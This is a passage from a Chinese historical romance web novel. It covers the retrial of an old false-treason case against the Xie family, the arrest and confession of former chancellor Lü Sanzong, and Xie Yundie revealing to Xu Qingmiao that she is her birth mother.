“砰!”的一声巨响,吕瑞抬眼便见到自己的老父亲直挺挺地仰头倒在了地上,浑身抽搐,口水直流。 顾不得手上端着的热茶,猛地摔在一旁,哐啷一声,吕瑞急忙奔过去扶住吕三宗,惊慌失措地高声呼唤:“父亲,您怎么了,您怎么突然摔倒了?” 吕三宗眼睛直直地发愣像是没有听见一般,吕瑞怕得朝外面大喊:“管家快去找大夫,我爹摔倒了。” 兵荒马乱的吕府直至深夜才安静下来,吕瑞懊恼地坐在父亲的床前,手里捏着那封让父亲气倒的信不肯松手。 时任大理寺主簿的魏宾在信里通知父亲,常林的审讯转由右相韩烈亲自主审,并暗示父亲常林揭发举报他,让他们父子赶紧想办法应对。 怎么会这样呢?吕瑞不解。 刑部审讯什么时候轮到内阁过问了,况且他的好兄弟的信里明明不是这样说的啊。 卧床养病的吕三宗张大了嘴想说话,却啊啊了半天一句完整的话也说不出来。 焦急无助如海水般淹没了他。 想起刚才大夫把脉开药时说过:“老相爷这是中风之症需要静养,短时间内说话都不利索了。” 两行老泪不由从眼角滑落,再转头看见这混账儿子呆愣在一旁,风光大半辈子的吕三宗突然感到一阵绝望。 没人比他更清楚右相主审常林的意义,韩烈如今是一点不装了,这就要正式开始对吕家动手了。 他从前怎么就没发现韩烈会跟谢家有关系呢? 他张大了嘴又啊啊了几声,想问问谁能告诉他韩烈到底跟谢家有何关系,事情过了十八年了他竟然会插手,到底是为何?他自问从来没有得罪过韩烈这个人呀。 吕瑞愤愤地从呆愣中回神,见父亲张嘴说不出话来,急得满脸泛红。 “爹,儿子亲自去京城,事情还没到最坏的时刻,您怎么能这么不经事地倒下呢?” 吕瑞拿着那封信在空中挥了几下手臂,他还是不信常林有办法自证清白。 吕三宗被气得脸色发白,口中说不出话来,只能用尽全力抓住他的衣袖,双手死死地抓紧不让他再去做蠢事。 他心里知道,吕家怕是迟早要完了。 · 刑部大牢内,常林坐在草堆里麻木地看着地上的残影,狭小的窗户外是清冷的月光照进来,窗户柱子一节节照映在泥地上。 进来好些日子了,常林终究清醒地知道他这回怕是栽了,而他前段时间一直向韩烈许恪示好,如今看来就是一场笑话。 那俩人一门心思想治他的罪,又如何会与他同流合污呢? 韩烈终究不是吕三宗呀。 回想起初入官场的那年冬天,他听说吕三宗眼光高喜美人,为了得到吕三宗的信任他绞尽脑汁地给吕三宗送去美人。在他的忐忑不安中,吕三宗坦然接受了他的献美,后来才会在酒宴上渐渐赏识他,直到谢家案里对他委以重任。 他曾经喜不自胜,以此为荣,自认为能被吕三宗利用也是一种能力。 等到真正踏入难以回头的绝路上时,生死都绑在了人家的身上,挣脱不开任人摆布。 时过境迁,本以为他终于可以自掌生死,却不想如今他的生死又系在了韩烈的一念之间。 韩烈这人油盐不进,这回怕是下了大决心要给谢家翻案了。先帝已逝,新帝年幼,正是韩烈翻案的最好时候。 而他在谢家案子里做下的那些事怕是活不了了。 “呵呵呵,还好还好。” 还好他这人心眼多,早就留了一手,只要能证明吕三宗才是主谋,他虽然左右不过是个死字,但常家上下总是有希望保住的。 人不到绝境是不会真心悔过的。 · 秋雨阵阵迎风寒,远山近水间,一队人马顶着风雨沿着官道疾驰而来。 “都打起精神来跑快点,别误了大人的事。”为首的人一袭黑色蓑衣头戴雨笠,刚毅的方脸比雨水还冷硬。 “头儿,这雨这么大,我们的人是无所谓,就是怕这老小子要淋个雨病坏了。” 雨中一个同样装扮的人抬手指了指被他困在身前的中年男子,瘦小孱弱,正缩成一团瑟瑟发抖,一路行来被风吹雨打得像是随时要挂掉一般。 “用油布给他裹严实了,别让他死了。”为首的人犹豫片刻还是决定不停歇,这趟任务至关重要,容不得差池,他得尽快交了差才行。 “这贼人胆小如鼠,只能做些偷偷摸摸的肮脏事。” “闭嘴,休要惹事上身。” 一行人马不停蹄地进了京都城门,顶着暴雨一路往刑部衙门疾驰而去。 疾驰的马队惊起阵阵水花,街上行人匆匆躲避,倒是让他们一路畅通无阻。 一阵马蹄嘶鸣声穿过雨声,传入衙门大院内,众人纷纷往外瞧去。 只见一身整洁官袍的许恪出现在了大门口,那马上的人纷纷下马行礼。 为首的汉子朗声道:“手下张宁远见过许参知,常林家奴及证物皆带回来了。” 许恪颔首,“起来吧,将人带下去好生照顾,证物你继续保管,先下去休息吧,等韩相来了再来回话。” 刑部各人纷纷侧目,看向这位韩相的得意门生。 许恪这些日子都在刑部坐镇,刑部尚书被革职关押了,四大辅政大臣商议先由许恪代管刑部,直到选出下一任刑部尚书。 刑部的官僚胥吏无不侧目,许恪气质出尘更是翰林学士出身,怎么瞧也与刑部格格不入,起码这些日子他在刑部坐镇,连酷刑都少了许多,可就是这样风清月朗的一个人,处理事情利落干脆,短短三日便将常林口中所说之人和证物羁押回来。 许恪环伺四周,没有忽视众人的瞩目,只淡淡一笑轻声说道:“诸位同僚可准备好了,今晚即可再次提审常林。” 有人作忙碌状表示今晚来不及参与提审,也有人立马表示一切准备妥当就等着再审常林。 “去让人请韩相过来。” 随安匆匆套了雨衣往外走,许恪伫立在窗边望着不曾停歇的大雨,渐渐出神。 自从知道了韩烈的目的,他就竭力帮忙,既是为了还谢家一个公道,也是为了让谢云蝶能早日与清妙相认。 他知道清妙从小就希望获得母亲的关心,可惜她运气不太好,从三叔的原配死了起,就再没体会过母亲的关爱,一开始天天跟在王氏身后喊娘亲,却被王氏纠正了。 “小三娘不可以喊我娘哦,得喊大伯母。” 许恪至今还记得他给王氏请安时瞧见的这一幕。 小小的人儿一双灵动的大眼睛里满是不解和委屈,却还是乖乖地说道:“大伯母,三娘知道了。” 等到再大点,清妙已经很少流露出想找娘亲的意愿了,逢年过节,兄弟姐妹都凑在娘亲前面说话时,她会乖巧地跟在王氏身边学着煮茶,也会笑着跟大家说笑。 许恪曾经留意过,却也知道自己无能为力,只能是对这个妹妹多一分疼惜罢了。 如今,知道她的亲娘还在世,不管谢家能不能被平反,许清妙都会与谢云蝶相认的。 他的妙妙是个善良柔软的姑娘,会有更多的人对她好,喜欢她爱护她。 第59章 第59章 这一晚的暴雨下了一整夜,天光微晞时,刑部审讯堂的大门吱呀一声从内被人打开了。 “没想到传说中的谢家通敌案居然是有隐情,哎,记得考进士那年,我还与人争论痛骂谢文青卖国求荣呢。” “嘘!小声点,你还看不出来里头那位是要给谢家翻案?你小心祸从口出。” 说话的人连忙捂住嘴,露出一双熬得通红的眼睛慌忙往身后观望,还好没人听见。 “晓得了,不说了,赶紧出去弄口热乎吃的,一会还得当值呢。” 等衙门开始上直了,到时候所有人都会知道谢家冤案会被重审了。 而这场翻案的关键人物常林,经过一夜的审讯已经精疲力竭地回了大牢,随后主审官韩烈和许恪精神振奋地从里间走出来。 “不懈,今日辛苦了,等会立马发文重查谢家冤案,另外即刻着人去胜州捉拿吕三宗归案。” “捉拿吕三宗一事务必得秘密进行,莫要走漏风声。” 许恪颔首应下,“嗯,老师是打算现在回府?” 韩烈摇头:“不急着回去告诉她,等事情落实了再说,我还得进宫一趟,今日陛下的鸾驾回宫了。” “那我与老师一起进宫,正好将东荣之事与陛下说说。” 小皇帝年纪小,对许恪还很依赖,这么久不见,他自然得去迎接。 师徒二人上了马车往皇城方向而去,殊不知一封加急的密信正从胜州吕府快马加鞭地送到了吕家大郎手中。 “大哥,父亲中风病重,速回。” 吕家大郎吓得连忙派人向上峰告了假,女眷行李皆没带就匆匆地往胜州狂奔而去,自然错过了关于重新调查谢家谋逆案的决议。 · 胜州的雨向来矜贵,可接连几日的暴雨也下得人心惶惶。 雨幕隔绝了其他的声响,只有屋里传出吕三宗嘶哑的低喘,像年迈将死的困兽,负隅顽抗却毫无办法。 “二爷,前些日子老爷让奴才派人盯着常家,今日那边有动静了。” 刘管事犹豫良久,看了眼吕三宗的样子决定放弃了跟他说,转而凑到吕瑞身边低声回话。 吕瑞两眼发直,已经呆坐在吕三宗床前一整日,听了管事的话才恍惚着回神,茫然问道:“常家出什么事了?” 他们家与常家一直往来频繁,既是为了维护表面的和睦更是为了监督常林的动向。 只是自从吕三宗辞官回乡后,吕家就换成了与常林老宅的来往。 “今儿午后,京城来了一队人,一路直接去了常府,奴才瞧着那些人气势汹汹看起来就不好惹的样子,想着常家是不是惹上什么事了?” 吕瑞猛地站起身来,抓住管事的衣襟急促问道:“你看清楚了?真是京城来的?” 管事惊慌不已,连连点头:“千真万确,就是京城来的,没隔多久就见他们带着一个人出来了,一刻不停地又往京城方向走了。” 吕瑞茫然地松了手,囔囔道:“常家没有被抄家吗” 管事憋着喘气,连忙跪在地上慌张回道:“没有,常家什么也没发生。” “那他们是来干嘛的?” 管事闷声不敢说话,鬼知道来干嘛的呢。 吕瑞似乎也不在意,只摆了摆手让他下去。 “啊” 躺在床上的吕三宗抬起手,不受控制的乱抖,嘴里又开始发出模糊的叫声。 吕瑞转身坐回床边,握着父亲的手安抚:“爹,您别说话,现在你说又说不清,这不是干着急嘛,您别怕家里一切都有儿子呢。” 话落,吕三宗浑身发抖,好不容易清醒过来的脑子根本无法控制自己的行为,只能眼巴巴地看着吕瑞毫无应对地坐在一旁。 京城来人带走了常家的人,明显是来捉拿人证的,可就是这么显而易见的事情,这个缺心眼的儿子就是看不出来,还腆着说一切有他。 吕三宗只觉得,有他这个家会完的更快了。 可他再怎么着急难受,最终也只是徒劳,只能躺在病床上无能嚎叫。 外面的雨下得又大又急,一直没停,又过了三日,一队人马敲响了吕家的大门。 来人正是许恪派来的刑部督捕司衙吏,拿了刑部开局的文书,一路畅通无阻地闯进了后院。 “将吕三宗带出来。” 为首的人一脸横肉,目带凶光,端的是铁面无私,只有他自己知道他心里有多虚。 要知道,吕三宗曾是权倾一时的宰相,而刑部又是他曾经掌控之地,这衙门里哪个提刀吏不杵这些当官的,见了面那是头都不敢抬的,如今他却要奉命捉拿。 可不得心虚么,自己当初没少给吕三宗做事,但都是如现在般听命行事而已。 可一刻钟后,手下带出来的却是吕瑞,只见吕二公子满脸不可置信地向他冲过来。 “放肆,你们可知道家父是谁?凭你们这些武夫也想拿我父亲?” “速速给我滚出吕家,不然我让你们好看。” 吕瑞的话虚的不能再虚,起码在场的人没一个当真,他们得了差事来拿人自然知道吕三宗的情况,如今吕三宗不死都难,这吕家公子还嚣张跋扈,简直像个笑话。 “哦,吕二公子请让开,我们听命行事,不怕你给我们好看,等拿了人随时欢迎你来刑部找我们好看。” 很快,吕三宗被人抬了出来,糟乱的白发、歪斜的嘴眼流着口水喇子,怎么瞧也不像曾经那个权势逼人的相爷。 “你们没拿错人?这老头是吕三宗?”为首的人不确定地看向手下,他们出来拿人可带了画像的,万不可粗心拿错了人。 手下人摸了摸鼻子解释道:“对照过了,就是吕三宗本人,也问过他家的仆人了,确认是他无疑。” 众人皆是唏嘘,但没人多说什么,以免横生枝节。 “给他裹好了,弄辆马车抬走。” 吕瑞跨过门槛尖声大叫:“你们住手,谁让你们抓我父亲的?你们好大的胆子。” 为首的官差轻轻一挥手,便将他拦在了门内出来不得,眼睁睁看着吕三宗被抬走,一辆吕家的马车被征用,十几人围住马车毫不停留地走了。 吕瑞跌坐在地,欲哭无泪,只不断怒道:“岂有此理,他们怎么敢!” 管事仆从无人敢上前,一个个面面相觑,又都同时意识到一件事:吕家怕是要出大事了。 吕府门前,一队人马往城外疾驰,一辆马车也正好急匆匆地停靠在了吕家大门口。 吕家大郎吕素挽着衣摆不顾大雨下了马车。 门房惊慌地呼道:“大爷,您回来了。” 吕素没空理会,直往父亲的院子走去,一路上仆人四散,直到了院子前才看到坐在地上哭的吕瑞。 “二弟,你这是作甚?是父亲出事了?” 吕素跑过去扶起吕瑞,只见周围只剩一个管事在,看着兄弟二人欲言又止。 “刘管事,你来说,发生了什么?” 吕瑞哭哭啼啼,刘管事干脆利落地将吕三宗被抓走的事情说了一遍。 “大爷,他们抓了老爷前脚才走,您后脚就回来了,您没有看到那队人吗?一个个凶神恶煞的,都是京城里来的官差。” 吕素知道回来晚了,连父亲最后一面都没见到,再看眼前平时骄傲得像只公孔雀似的二弟,就知道事情麻烦了。 “二弟,别哭了,你总哭有何用,如今父亲已经被带走了,我们得想法子才行。” 吕素为人老实,也知道此时哭没用,怎么平时这么机灵的二弟却就知道哭。 他不解,但没法计较,只得哄着。 吕瑞哭够了,才抽抽啼啼地跟着吕素进了屋,兄弟俩都是没什么主见,商量来商量去也没个好法子。 “不如把三弟叫来吧,多一个多一个脑子,不是说三个臭皮匠顶个诸葛亮吗?” 吕素颔首同意,招来管事让人去找三弟吕蓉:“赶紧将三爷找来。” 管事犹豫道:“大爷,三爷他成日里到处玩,奴才可能没这么快找到他,还请您多等会。” 吕素欲发怒,又无奈,只闷声应下:“赶紧去。” 外面的雨没完没了,错杂纷乱,可如此雨天却是勾栏消磨的好时光。 吕蓉正喝的烂醉,卧倒歌姬腿间。 刘管事从赌坊找到酒楼才寻人问出吕蓉的下落,可人却是烂醉如泥。 “将三爷扶起来,先送到三夫人院里醒酒。” 刘管事带着人顶着雨匆忙将人拖了回去,心里却还在犹豫,要在往常吕三爷喝醉了,他是不敢送到三夫人院里的,可如大爷二爷还等着,府里能管得住三爷的也就剩三夫人了。 没法子,只能送过去让三夫人给他醒酒了。 一群人到了三夫人池聘婷的门前,敲了敲门。 有丫鬟出来惊呼道:“三爷这是怎么了?” 刘管事低声与那丫鬟说道:“赶紧去叫三夫人出来,只有三夫人有办法让三爷醒酒。” 他们这些当奴才的可不敢去触霉头。 丫鬟应下赶紧进去转告池聘婷,可没过一会就一人出来了。 “三夫人说他不管,让你自己想办法。” 刘管事急的跺脚,只得又说道:“你去告诉三夫人,老爷出事了,被京城来人抓走了,大爷二爷正等着见三爷呢。” 丫鬟翻了翻眼,道了声知道了,又进去回话。 刘管事等了好一会,才听见开门的声音,只见三夫人亲自出来了。 “你带人将他送回自个院子里醒酒去,我这里可没他的地方,大爷二爷那边我去一趟就成,这酒蒙子就是去了也没啥用。” 第60章 第60章 “大哥、二哥你们若信得过,让我回京城一趟,我去求母亲帮忙,总有其他办法保住父亲性命。”池聘婷眼里露出光芒,她一直想找机会回京,如今吕三宗被人抓了,人也废了,吕家这个牢笼再关不住她。 吕家兄弟此时谁也拿不出一个好的法子来,眼看着池聘婷愿意为父亲去求长公主,纷纷生出一种无端的希冀来,有长公主出面父亲会没事吧? 谁也没往深处想到吕家会不会垮,长公主又凭什么会帮他们吕家。 “翁主有心了,那就请翁主跑一趟,我们马上备好礼物请长公主帮忙,日后我们吕家定会记住公主和翁主的恩情。” 吕素没有主见,以往在官场上行走靠的也是吕三宗和吕家的名头,唯父命是从按部就班地做一份差事,如今有三弟媳帮他们家出面自是求之不得。 哪里想得到偌大的吕家将如此生死攸关的事情寄托在了一个女子身上是何其的荒唐。 池聘婷满意地拿了吕家的路引,带着仆从和礼物连夜驾车出城,与那抓了吕三宗的人马一前一后的进了京。 · 秋意浓时霜满天,雨过天晴的第一日,许恪就载着许清妙出了趟门。 这回不是去逛街,而是俩人去了京郊的林子散心,秋日里的京郊虽然没了绿树红花,但沿路上一大片一大片的枫树林树叶全被染红,风一吹飘飘荡荡地落了一地。 半山腰上,许清妙叫停了马车,“哥哥,我们去那边的枫树林里走走吧!” 许清妙拉着许恪的一只手兴致极高地下了车,软靴踩在厚厚的树叶上,咯吱咯吱地往树林里走去。 这条山路是去皇觉寺的必经之路,山路两侧的枫树林人迹罕至,起码沿途他们没有见到其他的游人。 走到漫天的枫叶林深处,好似进入了她夜晚做过的梦境中。 “哥哥,你说我这些日子梦见的情景会不会是那三年我们遇到过的事情呢?” 许清妙挽着他的手,停下脚步看着眼前如幻似梦的枫林,知道自己曾经肯定来过。 许恪握住清妙的手,沉默半响才缓缓*说道:“很有可能,清妙怕吗?” “怕什么?” 许恪轻声笑了笑:“不怕就好,我担心你会害怕。” 许清妙也不由跟着开怀而笑,“有哥哥一直陪着我,我什么也不怕,做噩梦也不怕了。” 再说了,她如今的梦里很少噩梦,只是些模模糊糊的片段而已。 “今儿早上我还梦见了那位长公主家的翁主呢,梦里的她对我笑,可我总觉得那笑让我不舒服,再想仔细问问就醒了。” “哥哥,你见过那位翁主吗?” 许清妙侧头看向许恪,他应该见过吧。 果然,许恪点头回话:“在先帝的灵前见过一面,那位翁主确实脾气不好,不好相处,清妙不用在意。” 许恪想起最近查到的关于翁主池聘婷的一些事情,知道这位翁主可不像表面那么人畜无害,所做的事情大多霸道刁蛮,背后做的事情更是阴损狠毒,这种人清妙不用记着,连梦里都不用出现。 许清妙不懂许恪话里意思,只乖巧点头:“嗯,哥哥说得对,就算是三年中发生的事情,也已经过去了,我不会把她放心上,没必要。” 俩人走走停停,在林子里赏景抓野兔,后来许恪兴致来了还叫许清妙射箭,等到她走不动了,赖在他身上不想起来。 无人的林子里,俩人渐渐地抱在一起,忘了是谁先主动地,唇舌相抵亲在了一起。 许恪比她高出一大截,许清妙踮着脚挂在他脖子上亲地主动,等到她脚酸先撤回时,发现晚了,许恪已经被她勾出了瘾,一把将她抱着放在了一旁的树桩上,搂着她继续亲了下来。 许清妙有那么一段时间是处于意识朦胧的状态,等到发现他的手在往她衣袍里钻时,才惊醒过来,“哥哥,这里是外面。” 许恪才幡然惊醒,用又低又哑的声音道歉:“抱歉,妙妙,我失态了。” 从前,他绝对不敢想象自己会有一天在户外与女子这般唇舌交缠,可如今他不仅搂着妻子亲的火热,更是差点忍不住在这野外将人占了。 “哥哥不用抱歉,我们是夫妻呢,先回去吧。”许清妙靠在他的胸前甜甜地安抚他,自己刚才也失控了,怎么能都怪哥哥呢,况且她挺喜欢哥哥为她失态的样子。 许恪低头轻啄了啄许清妙的唇瓣,殷红的唇比花瓣还要美丽,唇边还有被他弄乱的一缕黑发,轻轻地粘在她的脸颊。 他伸出手撩起那撮发丝为她整理好,才颔首:“走吧,回家。” · 今年的立冬日,注定是一个不平静的日子,刑部大牢内再次三司会审,吕三宗的中风症状不减却影响不了查案的进行。 常林牵扯入东荣案已经全部理清,并没有与东荣勾结不轨,韩烈当堂就给下了定论。 白发相间一身囚服的常林跪地叩谢:“谢韩相还我清白。” 常林的官职已经全部被削去,家业也被抄了,如今这般只为常家求一条生路,他知道自己该死。 “还请韩相和各位大人明察谢家冤案,常某犯下的罪常某都认,只求祸不及家人。” 许恪睨了他一眼,知道常林这人无利不起早,如今吕三宗没了辩驳能力,曾经的事情只有他知道,他只要将事情都推到吕三宗身上,自然可以保全家人,甚至走运点自己都能活下来。 “常林,你从实招来,当初你与吕三宗是如何栽赃陷害谢文青谋害谢家一百八十口人丁?” 韩烈冷面直视,并不为常林的这点小心机所迷惑,谢家的案子终究是如何办的,他心中自有定数。 常林这些日子的牢狱之灾让他警醒,深知厉害,缩着身子看向一旁被放平躺在地上的吕三宗,眼歪嘴斜口水直流的样子惨不忍睹。 吕三宗口不能言,脑子也不太清楚,但也听到了韩烈冷厉的问话,一双浑浊的眼睛终于是蒙上了绝望的灰色。 常林不敢再耽搁,低着头将他与吕三宗十八年前做的事情一一道出。 第一次出任宰相的吕三宗与谢文青从政见到为人处事,甚至出身家境都相差甚远。吕三宗坚持推行新政提高赋税丰盈国库,而谢文青认为三十到税率已经很高了,不该再加,俩人唇枪舌剑地争论不休,皇帝却不发一言任由他们各执己见。 在后来谢文青亲眼见到吕三宗挥土如金,当面就指责他只会鱼肉百姓,丝毫不知勤俭持重,两人的关系降至冰点。 常林还记得,那一日吕三宗铁青着脸骂道:“他谢家世代豪族怎么有脸来说我不知勤俭?我一介寒门能有今日成就碍着他了?” 常林自然顺着他的话骂谢文青了,总之将两人关系彻底搞崩对他也是有好处的。 只是他从没想到吕三宗会有那么大的怨恨,正好当时有人状告谢文青贪墨工部钱款,吕三宗立马发难抓住这莫须有的罪名直接放大开来,以极快的速度派刑部差役去搜了谢家在京城的宅子。 “那封私通敌国的信谁放的?” 常林将事情讲的颠倒稀碎,妄图迷惑众人,可惜韩烈还是直接开口将他往重要的事情上引。 常林顾忌地环顾众人,颤巍巍地道:“是吕三宗将信放置到谢文青书房的,我收留的那个小厮就是他亲手放的。” 韩烈冷哼道:“他一个谢家奴仆为何要协助吕三宗做这种谋害谢家人的事情?” 常林摇头:“不知道,吕三宗不会告诉我这些。” 韩烈没有说话只抬了抬手,“带谢家家奴顺四上来。” 常林抬眼看去,被差役压着提上堂来的正是他藏了多年的那个谢家奴。 胡子邋遢两眼无声猥猥琐琐的样子,一放下就跪趴在地上,牙齿发抖地喊道:“大人饶命,大人饶命,都是吕相爷让我这么干的。” 堂上众人都不约而同地看着如死了一般一动不动的吕三宗。 “安静,大人问你什么你答什么就是,多余的话不要说。” 韩烈抬手,所有都安静下来,只听到韩烈的声音问道:“吕三宗是如何将信传给你的?你又是如何将信放在谢家的,都一一说来不得有瞒否则你老家的妻儿就被你连累了。” 顺四忙不迭磕头应下:“奴才说,什么都说求大老爷饶了我家人。” “小人本来是谢文青谢老爷院子里的下等洒扫奴才,那日因为与人赌钱输了十两银子,那银子是管事的让我跑腿去定酒楼的,可是我给赌没,这要是被管事知道了我不被打死也会被发卖。” “小人实在没法子,就一直拖着不敢回府,可没想到就这时有个自称是吕相府管家的老头找上了小人。他问小人是不是谢文青府里的仆从,再后来他就看出来小人惹事了,他让小人将一封信偷偷送进老爷书房,就能给我十两帮我填了窟窿。这不是送上门的好事吗?小人就没多想答应了。” 顺四说到这里停下了,呜呜地擦了擦额头的汗。 韩烈皱紧眉头喝道:“继续回话。” “小人实在不知道那封信会要了谢家人的命啊,小人的爹娘也在谢府,全死了。” 韩烈面无表情问道:“那在后续审讯中,你为何不说出来?” 顺四看了眼常林,不敢说话。 “说,再不老实给他上刑。” 顺四再不敢隐瞒:“是他把小人关起来了,他警告小人就算是说出来,谢家也逃不过一个死字,倒不如给我家里留个种,小人没想到会死这么多人呀!” 脏兮兮的脸上鼻涕眼泪滚落,看起来真像后悔了。 “常林,你替吕三宗隐瞒遮掩诬陷谢家谋反,认不认?” 常林老老实实地低头认罪:“认罪。” 韩烈又转头看向吕三宗,“来人,将他扶起来说话。” 众人都不解地看向韩烈,吕三宗这幅模样别说站起来说话,就是发声都难。 差役不敢有异议,立马将吕三宗从担架上扶起来,两人将他架着站了起来。 曾经不可一世的吕相爷脚都站不直了,哆哆嗦嗦地往地上赖。 韩烈无视吕三宗的丑态,有神的眼睛盯着他:“吕三宗,本官知道你听得见我说的话,既然你说不出话,那就点头摇头即可,你想想吕家认真考虑要不要配合,你不配合你的三个儿子自会配合。” 韩烈根本不掩饰他的目的,三司的人也无人开口劝他,所有人都知道吕三宗不答应韩烈就会将吕三宗的儿子都抓来问审。 口水流到下巴的吕三宗缓缓抬起来头,片刻又低下,如此三次,众人知道他是点头答应了。 接下来许恪第一次见识到了韩烈的果断,他只问了吕三宗三个问题。 “背后是否有人授意?”吕三宗点头,韩烈没有问是谁。 “谢家人全死光了吗?”吕三宗依然点头,韩烈表情不变。 “吕三宗早知今日你会后悔当初的狠毒吗?”吕三宗茫然地看向韩烈,苍老的眼睛里写着不知所措,他可能不会后悔,当时的皇帝忌惮谢家,他不过是揣测圣意将事情揽过来做了,既然要做就得做绝,不然谢家有报复他的可能,只是没想大道无形,最后是韩烈这个无缘做谢家女婿的寒门来向他要债。 韩烈没再提问,只飞快的签下了结案陈词,三司其他人无有异议,吕三宗自己亲口认罪了谁又敢去质疑审案的公正与合规性呢? 冤案归根结底是前前朝的事情,与他们无关紧要。 韩烈也不想多牵连无辜,他的目的就是为谢家翻案,给谢云蝶和谢家亡灵一个告慰。 而事情果然不出他所猜测,太祖授意甚至是先帝也乐见谢家的倒下,这些他不会告诉谢云蝶,有些事情他都做不到何况她。 而眼下陈家的皇位落在了一个八岁的小皇帝身上,他若真要为谢家报复,恐怕会让天下纷乱,所以这一切到此为止就好。 韩烈走了,接下来的事情,许恪接受安排,直到所有人退了堂。 一夜间,朝野纷纷议论谢家冤案,有还记着谢家情分的人家去寺庙为谢家人烧香,也有人记下这个冤案写作无题诗警醒后人。 无论如何,多年的冤案终于翻案,是值得庆祝的。 许恪领着许清妙提了一坛二十年的女儿红,再次敲响了韩相府的大门。 第 61 章【VIP】 第61章 第61章 “夫人,可还有什么想问我的?” 韩烈端坐床前,面上若无其事地看向侧躺在被褥里的谢云蝶,他从刑部回来时天色尚早。 将谢家翻案之事细细地与谢云蝶说了一番,自从重逢后一直平和的女子再难自持,扑在他怀里痛哭了一番。 接着便是,她问他答,将那谢家案情所有细枝末节问了一遍又一遍。 “我问再多遍,知道得更清楚也改变不了全家被害的事实,我甚至连自己亲手报仇都做不到,韩烈,谢谢你,我代谢家所有亡灵谢谢你。” 谢云蝶又忍不住哭了起来,好像这十八年来所有的眼泪都攒在了这一刻。 韩烈倾身搂着她安抚,低头看着她浓密的头发里那零星几根白发,她明明容貌未变却其实暗处早就有了华发,就像她这人一样看起来明艳动人其实朴实较真,暗地里不知道伤了多少心。 “不用谢我,要谢就谢你自己,是你让我一直坚持这么多年,没有夫人你,我可能早就不在这官场上沉浮了。” 他自己清楚,如果说有什么经天纬地的抱负那也早就在日复一日的繁琐中磨灭了,支撑他走到如今的是对谢云蝶的执念。 谢云蝶她自己是不会知道他是如何在看不到希望时,也坚定的选择这条路的。 他也不想让她知道,她只要知道他做这些都是为了找回她,而如今她陪在他身边就是对他最好的回报。 谢云蝶的脸颊埋在韩烈的颈窝,刚停顿的眼泪又开始汹涌,像关不住闸一般。 直到屋外传来丫鬟的传话声:“相爷,夫人,前院许参知携夫人来了。” 谢云蝶听说许清妙要来,连忙坐起身来,拿了一旁的丝巾擦拭眼泪。 “请他们在偏厅等候,我们马上来。” 韩烈接了话,转头低声与谢云蝶解释:“忘记与你说了,昨日在刑部见到许恪时,说好了结案后让他带清妙过来见你,至于你想不想现在告诉她真相,你自己拿主意?” 谢云蝶心里高兴,如今女儿来了府里,她恨不得立马与女儿相认,自然点头应下:“嗯,快让丫鬟们进来帮我穿戴衣裳,赶紧收拾妥当去见他们。” 韩烈扶她站起来,喊来丫鬟,看了眼她忙碌而高兴的脸,终于松了口气,浅笑着转身去了外间,既然夫人打算认亲了,他这个做继父的总得有所表示不是。 他进了正房库房,仔细地挑礼物去了。 · 许清妙与许恪等了一刻钟才见到韩烈带着夫人出现,俩人明显刚打扮过,皆是神采奕奕。 许清妙转头与许恪相视一笑,她暗道:韩相正是新婚燕尔,与夫人感情真好呀。 “让你们久等了,快坐下。”谢云蝶松开韩烈扶着她的手,上前热情地牵过许清妙,拉着她在一旁的圆桌旁坐下。 许清妙还是觉得这位美丽的师娘对她太热情了,这刚坐在她话还没来得及回,她就一连串的问了她好几个问题。 “今日用过早膳吗?” “睡得好吗?还做梦吗?” “做的糕点果子可合口味?” 引得韩相轻笑出声解围:“夫人别急,别吓着清妙了。” 谢云蝶有些不自在地看着她,欲言又止。 许清妙回握住她笑道:“没事,夫人想问什么就问什么吧,我用过早膳了,最近睡的也还不错啦,也很喜欢夫人做的糕点。” 许恪看了眼韩烈,只见他眉目间皆是释然和松快,便知道谢云蝶已经清楚并接受了谢家案的原委。 “夫人,你与清妙好好说话,等用饭了让丫鬟来叫我们。” 谢云蝶没看他应下,都没问他要去哪,但韩烈自己解释:“我与不懈去书房谈点事情。” 许恪跟着韩烈进了书房,有些担心地问韩烈:“师娘要直接告诉清妙吗?是否我们在面前更好些?” 韩烈摇头:“先让她们母女好好聊聊,我们在面前清妙有压力。” 谢云蝶院子里正厅墙上挂着九九消寒图,一副梅花图,每一朵梅花上九瓣,一共九朵。 许清妙盯着那不同于写意的图案看得仔细,谢云蝶便明日将那图取下来给她看。 “这是我闲着没事自己画的,清妙可是喜欢?” 自谢云蝶将她带到了后院屋里,一路上带着她四处参观,许清妙发现这宅子里处处透着一种文雅之气,比起他们许家还甚。 “喜欢,师娘画的真传神,那梅花像真花一般无二。” 谢云蝶笑道:“这还是我的祖母教我的,她老人家独有的方式画梅,清妙想学吗?我也可以教你。” 许清妙略带惊讶地看向她,“这不合适吧?是娘家家传技艺呢。” 谢云蝶握着她的手摇头笑道:“清妙,你喜欢我吗?” 许清妙颔首,脆生生地答道:“喜欢,师娘温柔会疼人,对清妙可好了。” “那你觉得师娘长得亲切吗?” 许清妙含笑的眼睛故作认真地盯着谢云蝶打量:“师娘不仅亲切而且美丽,是我见过的最美的人。” 谢云蝶忐忑地看着她笑,再忍不住,眼眶红了。 女儿就在眼前,她却忍了又忍才敢下定决心相认。 许清妙见她眼红落泪,慌乱地扶着她宽慰:“师娘可是哪里不舒服了?” 谢云蝶抓着她的手臂,殷切地看着她:“清妙,我是你的亲娘。” 这一句话出口,俩人都没再说话,认真地看着对方。 许清妙是震惊,震惊过后又觉得有些理所当然,好似最近的奇怪都能解释了,为何一见如故,为何她对自己格外热情喜爱。 谢云蝶则是紧张,她紧张的嗓子都发不出声来,就怕女儿扭头就不认她。 “噗嗤,原来如此,你果然是我娘。” 许清妙看得见谢云蝶眼底的紧张和内疚,还有深深的爱意,她曾经就想过自己的娘亲应该是因为某些原因才不得不放弃她,如今知道谢云蝶就是她娘,她就更确定了。 师娘这样温柔善良的性子,让她抛弃自己隐名埋名只能是因为迫不得已。 所以,她很快就能与自己和解,她这些年虽羡慕堂姐妹有娘,却也从没有过怨怼,她有疼她的父亲,还有爱她的长兄,如今娘回来了,她又多了一个人爱她了。 谢云蝶惊讶地看着许清妙,从没想过她会是这样的反应。 但很快就回味过来,女儿被许家养的很好,她不缺爱,对自己也没有恨意。 “清妙,你怪娘吗?娘当初” 许清妙伸手挡住了谢云蝶的话,不愿意她撕开自己的伤口为她解释。 “娘,我都懂,您不说我也知道,原来谢家冤案里的谢家就是外祖家吧。那时候,您将我寄养他人是为了保护我,你看我如今过得很好,没有受过颠沛流离之苦。反倒是您这些年吃了很多苦吧?” 许清妙的眼睛散发着澄澈的光芒,她说的都是真心实意的感受。 